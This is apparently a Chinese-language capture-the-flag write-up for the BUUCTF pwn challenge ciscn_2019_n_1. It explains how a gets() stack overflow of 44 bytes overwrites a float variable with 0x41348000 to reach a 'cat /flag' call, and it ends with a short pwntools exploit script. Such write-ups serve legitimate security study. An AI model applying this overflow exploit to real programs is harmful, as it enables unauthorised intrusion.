BUUCTF_PWN - ciscn_2019_n_1
查看程序保护模式和文件基本信息
有个NX保护,如果要写shellcode有点麻烦,文件是64位小端程序(各条保护详情介绍请看胡写瞎写(1) pwntools常见命令)
IDA载入
shift+F12寻找敏感字符串,发现一个cat /flag
查看该字符串的交叉引用:
查看该函数:
很明显这是通过栈溢出覆盖v2的值变成11.28125 拿到 flag
我们发现gets()并且v2是在 rsp + 2Ch,那就是说只要输入超过44个字符便可以覆盖v2,
直接用工具计算浮点数的十六进制表达,(IEEE的计算方法请查看CSAPP,这里不做赘述)
编写EXP
from pwn import *
p = remote('x',x)
payload = 'a' * 44 + p32(0x41348000)
p.sendline(payload)
p.interactive()